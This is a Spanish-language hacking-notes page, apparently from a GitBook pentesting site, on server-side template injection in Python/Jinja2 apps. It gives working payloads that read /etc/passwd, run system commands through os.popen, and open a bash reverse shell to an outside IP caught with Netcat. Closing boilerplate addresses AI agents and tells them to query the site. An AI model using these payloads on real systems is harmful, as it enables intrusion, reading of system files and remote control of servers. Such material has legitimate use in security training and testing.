> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-python-pentesting-web.md).

# SSTI en Python

<figure><img src="/files/176cf2f583affa5139ff3fdd6d987bc3251e1077" alt="" width="563"><figcaption></figcaption></figure>

Cómo saber si un sitio web es potencialmente vulnerable a un ataque **SSTI** ? Si podemos introducir un valor en un **entrada**, como en el caso siguiente con la variable **token de usuario**, que se interpreta en un **salida**:

<figure><img src="/files/03a6a1dbb087659776fb445995caf10678e8825c" alt="" width="563"><figcaption></figcaption></figure>

Con **whatweb**, si vemos que un servidor web usa **Python, Java, Jinja2, AngularJS...** como lenguaje de programación y que esto no está saneado, podría contener esta vulnerabilidad:

<figure><img src="/files/c1bb79fe006a8d4797b541feaa90c77ac6d293db" alt=""><figcaption></figcaption></figure>

Para probar esto con el **/{{ /}}**, comprobamos si interpreta el **cálculo**:

<figure><img src="/files/07fb7f042008656fe697383d8ce38f19e2801d86" alt="" width="563"><figcaption></figcaption></figure>

En este caso, lo interpreta:

<figure><img src="/files/f7e435ccc56d34294f3853a9ac811fff23b3df90" alt="" width="521"><figcaption></figcaption></figure>

Gracias al sitio web [**PayloadsAllTheThings**](https://github.com/swisskyrepo/PayloadsAllTheThings), encontramos todas las [inyecciones posibles](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2): Aquí hay algunos ejemplos con **Python**: Obtener acceso **cualquier recurso del sistema** (/**etc/passwd**):

```python
{{ ''.__class__.__mro__[2].__subclasss__()[40]('/etc/passwd').read() }}

```

<figure><img src="/files/b339dbd58e34da1c64de1c861f487997963110b9" alt=""><figcaption></figcaption></figure>

Ejecutar cualquier **comando** del sistema (**id**):

```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

```

<figure><img src="/files/3070a737aec7f8615f1770bc6f278ff85cb46794" alt="" width="563"><figcaption></figcaption></figure>

Obtener un **acceso** al servidor:

```python
http://localhost:8089/?user={{+self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >%26/dev/tcp/192.168.71.128/443 0>%261" ').read()+}}

```

Escuchamos con **Netcat** y Pwned:)

<figure><img src="/files/b220a52f81b53a9396bf0fcf643a8f92826a9538" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-python-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
